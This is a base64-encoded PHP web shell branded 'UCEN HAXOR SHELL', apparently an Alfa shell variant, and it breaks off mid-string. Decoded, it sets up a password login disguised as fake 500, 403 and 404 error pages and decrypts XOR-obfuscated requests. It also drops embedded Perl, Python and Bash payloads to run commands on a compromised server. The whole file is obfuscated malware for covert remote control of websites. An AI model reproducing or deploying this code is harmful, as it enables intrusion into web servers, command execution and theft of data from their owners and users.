QiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmZpbGUtaG9sZGVyID4gLmhpc3Rvcnk6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJpbnB1dF9ib3hfYm9yZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjZDkxNDlhIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJImlucHV0W3R5cGU9dGV4dF0sdGV4dGFyZWEiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwNCgkJCSkNCgkJKSwNCgkJImlucHV0X2JveF90ZXh0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OTk5IiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJImlucHV0W3R5cGU9dGV4dF0sdGV4dGFyZWEiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiaW5wdXRfYm94OmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjZWQxOGFhIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJImlucHV0W3R5cGU9dGV4dF06aG92ZXIsdGV4dGFyZWE6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInNlbGVjdF9ib3hfYm9yZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjZDkxNDlhIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJInNlbGVjdCIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLA0KCQkJKQ0KCQkpLA0KCQkic2VsZWN0X2JveF90ZXh0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJInNlbGVjdCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJzZWxlY3RfYm94OmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjZWQxOGFhIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJInNlbGVjdDpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiYnV0dG9uX2JvcmRlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI2VkMThhYSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSJpbnB1dFt0eXBlPXN1Ym1pdF0sLmJ1dHRvbiwjYWRkdXAiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJidXR0b246aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNlZDE4YWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjJweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkJIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2N0FCREYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI2Q5MTQ5YSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjZDkxNDlhIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNkOTE0OWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzI1ZmYwMCIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNlZDE4YWEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDBmZjAwIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwNCgkJIm15c3FsX3RhYmxlX2NvdW50IiA9PiAiIzY3QUJERiIsDQoJCSJjb3B5cmlnaHQiID0+ICIjZGZmZjAwIiwNCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzFlODJiNSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDAwMTE1IiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KKTsNCiRHTE9CQUxTWydfX2ZpbGVfcGF0aCddID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsdHJpbShwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSk7DQokY29uZmlnID0gYXJyYXkoJ0FsZmFVc2VyJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10sJ0FsZmFQYXNzJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10sJ0FsZmFQcm90ZWN0U2hlbGwnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10sJ0FsZmFMb2dpblBhZ2UnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSk7DQovL0BzZXNzaW9uX3N0YXJ0KCk7DQpAc2Vzc2lvbl93cml0ZV9jbG9zZSgpOw0KQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsICctMScpOw0KQGluaV9zZXQoInVwbG9hZF9tYXhfZmlsZXNpemUiLCAiOTk5OW0iKTsNCmlmKCRjb25maWdbJ0FsZmFQcm90ZWN0U2hlbGwnXSl7DQokU0VSVkVSX1NJRyA9IChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NJR05BVFVSRSJdKT8kX1NFUlZFUlsiU0VSVkVSX1NJR05BVFVSRSJdOiIiKTsNCiRFZm9ybT0nPGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgc3R5bGU9Im1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IiB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiPjwvZm9ybT4nOw0KaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddID09ICdndWknKXsNCmlmKEAkX0NPT0tJRVsiQWxmYVVzZXIiXSAhPSAkY29uZmlnWydBbGZhVXNlciddICYmICRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSl7DQppZihAJF9QT1NUWyJ1c3JuYW1lIl09PSRjb25maWdbJ0FsZmFVc2VyJ10gJiYgQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydBbGZhUGFzcyddKXsNCl9fYWxmYV9zZXRfY29va2llKCJBbGZhVXNlciIsICRjb25maWdbJ0FsZmFVc2VyJ10pOw0KX19hbGZhX3NldF9jb29raWUoIkFsZmFQYXNzIiwgQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSk7DQpAaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7DQp9DQplY2hvICcNCjxzdHlsZT4NCmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQ0KI2xvZ2luYm94IHsgZm9udC1zaXplOjExcHg7IGNvbG9yOmdyZWVuOyByaWdodDo4NXB4OyB3aWR0aDoxMjAwcHg7IGhlaWdodDoyMDBweDsgYm9yZGVyLXJhZGl1czo1cHg7IC1tb3otYm9kZXItcmFkaXVzOjVweDsgcG9zaXRpb246Zml4ZWQ7IHRvcDoyNTBweDsgfQ0KI2xvZ2luYm94IHRkIHsgYm9yZGVyLXJhZGl1czo1cHg7IGZvbnQtc2l6ZToxMXB4OyB9DQo8L3N0eWxlPg0KPHRpdGxlPn4gVUNFTiBIQVhPUiBTSEVMTC12Jy5fX1VDRU5fVkVSU0lPTl9fLictJy5fX1VDRU5fQ09ERV9OQU1FX18uJyB+PC90aXRsZT48Y2VudGVyPg0KPGNlbnRlcj48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIyNTAiIGFsdD0iVUNFTiBIQVhPUiAyMDIyIiBkcmFnZ2FibGU9ImZhbHNlIiBzcmM9Imh0dHBzOi8vaC50b3A0dG9wLmlvL3BfMjQ0M2dudzltMC5qcGciIC8+PC9jZW50ZXI+DQo8ZGl2IGlkPWxvZ2luYm94PjxwPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+DQo8Y2VudGVyPjx0YWJsZSBjZWxscGFkZGluZz1cJzJcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgaWQ9XCdhcF90YWJsZVwnPg0KPHRyPjx0ZCBiZ2NvbG9yPSJncmVlbiI+PHRhYmxlIGNlbGxwYWRkaW5nPVwnMFwnIGNlbGxzcGFjaW5nPVwnMFwnIGJvcmRlcj1cJzBcJyB3aWR0aD1cJzEwMCVcJz48dHI+PHRkIGJnY29sb3I9ImdyZWVuIiBhbGlnbj1jZW50ZXIgc3R5bGU9InBhZGRpbmc6MjtwYWRkaW5nLWJvdHRvbTo0Ij48Yj48Zm9udCBjb2xvcj0id2hpdGUiIHNpemU9LTEgY29sb3I9IndoaXRlIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIj48Yj5+IFVDRU4gSEFYT1IgU0hFTEwtdicuX19VQ0VOX1ZFUlNJT05fXy4nLScuX19VQ0VOX0NPREVfTkFNRV9fLicgfjwvYj48L2ZvbnQ+PC90aD48L3RyPg0KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ibG9naW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+DQo8Y2VudGVyPjx0YWJsZT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9ImdyZWVuIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPkxvZ2luOjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9InVzcm5hbWUiIHBsYWNlaG9sZGVyPSJ1c2VybmFtZSIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCd1c2VybmFtZVwnKXt0aGlzLnZhbHVlID0gXCdcJzt9Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4mbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4NCjwvZGl2PjxiciAvPjwvY2VudGVyPic7DQpleGl0Ow0KfQ0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc1MDAnKXsNCmlmKEAkX0NPT0tJRVsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsNCmlmKEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7DQpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsNCl9fYWxmYV9zZXRfY29va2llKCJBbGZhUGFzcyIsIEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpOw0KQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KfQ0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07DQpleGl0Ow0KfQ0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDMnKXsNCmlmKEAkX0NPT0tJRVsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsNCmlmKEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7DQpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVVzZXIiLCAkY29uZmlnWydBbGZhVXNlciddKTsNCl9fYWxmYV9zZXRfY29va2llKCJBbGZhUGFzcyIsIEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpOw0KQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KfQ0KZWNobyAiPGh0bWw+PGhlYWQ+PHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+Rm9yYmlkZGVuPC9oMT48cD5Zb3UgZG9uJ3QgaGF2ZSBwZXJtaXNzaW9uIHRvIGFjY2VzcyAiLiRfU0VSVkVSWydQSFBfU0VMRiddLiIgb24gdGhpcyBzZXJ2ZXIuPC9wPjxocj4iLiRTRVJWRVJfU0lHLiI8L2JvZHk+PC9odG1sPiIuJEVmb3JtOw0KZXhpdDsNCn0NCn1lbHNlaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddPT0nNDA0Jyl7DQppZihAJF9DT09LSUVbIkFsZmFQYXNzIl0gIT0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSl7DQppZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10pew0KX19hbGZhX3NldF9jb29raWUoIkFsZmFVc2VyIiwgJGNvbmZpZ1snQWxmYVVzZXInXSk7DQpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVBhc3MiLCBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKTsNCkBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsNCn0NCmVjaG8gIjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT48aDE+Tm90IEZvdW5kPC9oMT48cD5UaGUgcmVxdWVzdGVkIFVSTCAiLiRfU0VSVkVSWydQSFBfU0VMRiddLiIgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48YnI+PGJyPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD48aHI+Ii4kU0VSVkVSX1NJRy4iPC9ib2R5PjwvaHRtbD4iLiRFZm9ybTsNCmV4aXQ7DQp9DQp9DQp9DQpmdW5jdGlvbiBkZWNyeXB0X3Bvc3QoJHN0cil7DQoJaWYoX19BTEZBX1BPU1RfRU5DUllQVElPTl9fKXsNCgkJJHB3ZCA9IF9fQUxGQV9TRUNSRVRfS0VZX187DQoJCSRwd2QgICAgID0gX19aVzVqYjJSbGNnKCRwd2QpOw0KCQkkc3RyICAgICA9IF9fWkdWamIyUmxjZygkc3RyKTsNCgkJJGVuY19jaHIgPSAiIjsNCgkJJGVuY19zdHIgPSAiIjsNCgkJJGkgICAgICAgPSAwOw0KCQl3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsNCgkJCWZvciAoJGogPSAwOyAkaiA8IHN0cmxlbigkcHdkKTsgJGorKykgew0KCQkJCSRlbmNfY2hyID0gY2hyKG9yZCgkc3RyWyRpXSkgXiBvcmQoJHB3ZFskal0pKTsNCgkJCQkkZW5jX3N0ciAuPSAkZW5jX2NocjsNCgkJCQkkaSsrOw0KCQkJCWlmICgkaSA+PSBzdHJsZW4oJHN0cikpDQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJCXJldHVybiBfX1pHVmpiMlJsY2coJGVuY19zdHIpOw0KCX1lbHNlew0KCQlyZXR1cm4gX19aR1ZqYjJSbGNnKCRzdHIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gX0FsZmFTZWNyZXRLZXkoKXsNCgkkc2VjcmV0ID0gQCRfQ09PS0lFWyJBbGZhU2VjcmV0S2V5Il07DQoJaWYoIWlzc2V0KCRfQ09PS0lFWyJBbGZhU2VjcmV0S2V5Il0pKXsNCgkJJHNlY3JldCA9IHVuaXFpZChtdF9yYW5kKCksIHRydWUpOw0KCQlfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVNlY3JldEtleSIsICRzZWNyZXQpOw0KCX0NCglyZXR1cm4gJHNlY3JldDsNCn0NCmZ1bmN0aW9uIGFsZmFfZ2V0Q29sb3IoJHRhcmdldCl7DQoJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsNCgkJcmV0dXJuICRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF07DQoJfWVsc2V7DQoJCSR0YXJnZXQgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXVskdGFyZ2V0XTsNCgkJaWYoaXNfYXJyYXkoJHRhcmdldCkpew0KCQkJcmV0dXJuICR0YXJnZXRbImtleV9jb2xvciJdOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAkdGFyZ2V0Ow0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gYWxmYUNzc0xvYWRDb2xvcnMoKXsNCgkkY3NzID0gIiI7DQoJZm9yZWFjaCgkR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YWx1ZSl7DQoJCWlmKCFpc19hcnJheSgkdmFsdWUpKXsNCgkJCSR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7DQoJCQkkY3NzIC49ICIueyRrZXl9e2NvbG9yOiB7JHZhbHVlfTt9IjsNCgkJfWVsc2V7DQoJCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsNCgkJCQlmb3JlYWNoKCR2YWx1ZVsibXVsdGlfc2VsZWN0b3IiXSBhcyAkayA9PiAkdil7DQoJCQkJCSRjb2xvciA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7DQoJCQkJCSRjb2RlID0gc3RyX3JlcGxhY2UoIntjb2xvcn0iLCAkY29sb3IsICR2KTsNCgkJCQkJJGNzcyAuPSAgJGsuInsiLiRjb2RlLiJ9IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRjc3M7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpew0KZnVuY3Rpb24gQWxmYU51bSgpew0KJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQokYWxmYXggPSBhcnJheSgpOw0KJGZpbmQgPSBhcnJheSgpOw0KZm9yKCRpPTE7JGk8PTEwOyRpKyspew0KJGFsZmF4W10gPSAkaTsNCn0NCmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7DQokZmluZFtdID0gJGFyZzsNCn0NCmVjaG8gJzxzY3JpcHQ+JzsNCmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsNCmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkNCmNvbnRpbnVlOw0KZWNobyAnYWxmYScuJGFsZmEuIl89IjsNCn0NCmVjaG8gJyIiPC9zY3JpcHQ+JzsNCn19DQpmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIsJHNldF9jb29raWU9ZmFsc2Upew0KCWlmKCEkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0pew0KCQlyZXR1cm4gIiI7DQoJfQ0KCWlmKGlzc2V0KCRfQ09PS0lFWyJ1Y2VuY2dpYXBpX21vZGUiXSkpew0KCQlyZXR1cm4gIiI7DQoJfQ0KCSRjbWRfcHVyZSA9ICRjbWQ7DQoJJGlzX2N1cmwgPSBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOw0KCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOw0KCWlmKCRpc19jdXJsfHwkaXNfc29ja2V0KXsNCgkJJHJlY3JlYXRlID0gZmFsc2U7DQoJCWlmKGlzc2V0KCRfQ09PS0lFWyJ1Y2VuY2dpYXBpIl0pKXsNCgkJCWlmKCFAZmlsZV9leGlzdHMoInVjZW5jZ2lhcGkvIi4kX0NPT0tJRVsidWNlbmNnaWFwaSJdLiIuYWxmYSIpKXsNCgkJCQkkcmVjcmVhdGUgPSB0cnVlOw0KCQkJCSRsYW5nID0gJF9DT09LSUVbInVjZW5jZ2lhcGkiXTsNCgkJCX0NCgkJfQ0KCQlpZighaXNzZXQoJF9DT09LSUVbInVjZW5jZ2lhcGkiXSl8fCRyZWNyZWF0ZSl7DQoJCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsNCgkJCSRwZXJsID0gJ2paRlJUOEl3RklYZi9SWFhPcVdOc0tveFBsQXdSbGlFUkliSzlFVU1HZHNGR3JZeXQySWt5L3p0ZGtNbEpqNzRjcEtlZTg1M2s5NkRmYjdPVWo2VmlpZVlSZ0RRNkZkT3RBcjhpRTk5RmNaUzdhMHpoRUYvNERTYjEzNkdGK2NpU2FYU1FEb3JwVkhwaHQ0azJBU043NW92ZEJ5TjFWZ1JJV2ZVY3R5bnZQYmczRDg2STI4eWNMemVzRnNyQUYrQjNBMUhIbUY1dkFGcXlUcFlTOXdZZmZNam8xSXhrYUlmMHBIWDdidVZZYVJpZFlhdTU3amU1Tlp4Yjd4ZXJXRGlTaXBvUTVaRVVsTit4TC9xczVVQkJBdnpBSG9DdGczV2diRnpNM3UyNUF1MFB5RGo0Mk1PZkM3b2JqZmJrZHBiVXBtdXd4a1RaV2hiTzZTMnpYamlCMHRLQWxLSEJiNVQ2NVF4UGtkUlF2NlJraW92ZVFYWWJTRGpFd0p5QmpURW1WUVkwcDhwWTcrVEpWd1U1YmNhbHdSeFNBcVdieThSWXJBS2NUS3Rydk0xWDJDd05BbWJ0SklVTDRuSU5wbkdtUDRWclZEcys2b3RYaFdLNGhNPSc7DQoJCQkkcHkgPSAiYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaVI1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqTENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNlM0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7DQoJCQkkYmFzaCA9ICJyVlJkajVwQUZIMnV2K0k2REdhMUlheWJwZzlhbXJSYm9wdFliVjM2MEpRR1dSaUZ5